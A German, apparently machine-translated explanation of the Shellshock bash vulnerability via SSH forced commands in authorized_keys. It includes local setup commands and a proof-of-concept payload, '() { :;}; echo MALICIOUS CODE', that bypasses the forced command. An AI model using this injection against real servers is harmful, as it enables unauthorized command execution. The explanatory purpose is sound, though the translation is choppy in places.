Ein Beispiel, bei dem dies ausgenutzt werden kann, sind Server mit einem authorized_keys
erzwungenen Befehl. Wenn Sie einen Eintrag hinzufügen ~/.ssh/authorized_keys
, können Sie der Zeile das Präfix " command="foo"
to force" voranstellen, das ausgeführt werden soll, sobald der foo
öffentliche Schlüssel "ssh" verwendet wird. Wenn für diesen Exploit die Shell des Zielbenutzers festgelegt ist bash
, können sie den Exploit nutzen, um andere Dinge als den Befehl auszuführen, zu dem sie gezwungen werden.
Dies wäre im Beispiel wahrscheinlich sinnvoller. Hier also ein Beispiel:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Hier richten wir einen Benutzer ein testuser
, der alle SSH-Verbindungen erzwingt, die mit Ihrem SSH-Schlüssel ausgeführt werden echo starting sleep; sleep 1
.
Wir können dies testen mit:
$ ssh testuser@localhost echo something else
starting sleep
Beachten Sie, dass unser echo something else
nicht ausgeführt wird, aber das starting sleep
zeigt, dass der erzwungene Befehl ausgeführt wurde.
Lassen Sie uns nun zeigen, wie dieser Exploit verwendet werden kann:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Dies funktioniert, weil sshd
die SSH_ORIGINAL_COMMAND
Umgebungsvariable auf den übergebenen Befehl gesetzt wird. Also auch wenn sshd
lief sleep
, und nicht den Befehl , den ich sagte ihm, weil der Exploit, mein Code noch ausgeführt wird.